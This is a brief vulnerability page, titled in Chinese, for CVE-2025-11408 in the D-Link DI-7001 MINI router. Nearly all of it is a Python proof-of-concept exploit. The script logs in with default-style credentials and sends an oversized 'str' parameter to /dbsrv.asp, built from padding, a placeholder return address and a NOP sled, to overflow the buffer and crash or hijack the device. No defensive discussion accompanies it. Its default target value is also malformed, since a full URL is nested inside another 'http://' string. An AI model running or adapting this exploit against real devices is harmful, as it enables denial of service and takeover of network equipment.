CVE-2025-11408：D-Link DI-7001 MINI缓冲区溢出漏洞

# CVE-2025-11408 - D-Link DI-7001 MINI Buffer Overflow PoC # Vulnerability: Buffer overflow in /dbsrv.asp via 'str' parameter # Affected: D-Link DI-7001 MINI firmware 24.04.18B1 import requests import sys TARGET_URL = "http://<target_ip>/dbsrv.asp" USERNAME = "admin" PASSWORD = "password" def exploit(target, username, password): """ Exploit buffer overflow in D-Link DI-7001 MINI /dbsrv.asp The 'str' parameter is vulnerable to buffer overflow. """ session = requests.Session() # Step 1: Authenticate to obtain low-privilege session login_url = f"http://{target}/login.asp" login_data = { "username": username, "password": password } try: session.post(login_url, data=login_data, timeout=10) except Exception as e: print(f"[+] Authentication phase: {e}") # Step 2: Craft buffer overflow payload for 'str' parameter # The overflow payload overwrites return address with controlled data padding = b"A" * 256 # Adjust offset based on buffer size ret_address = b"\x41\x41\x41\x41" # Controlled return address placeholder shellcode = b"\x90" * 100 # NOP sled + shellcode placeholder payload = padding + ret_address + shellcode # Step 3: Send malicious request to trigger overflow headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "str": payload.decode('latin-1') } try: response = session.post( f"http://{target}/dbsrv.asp", data=data, headers=headers, timeout=10 ) print(f"[+] Payload sent. Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target may have crashed - possible successful overflow") except Exception as e: print(f"[+] Exploit result: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL exploit(target, USERNAME, PASSWORD)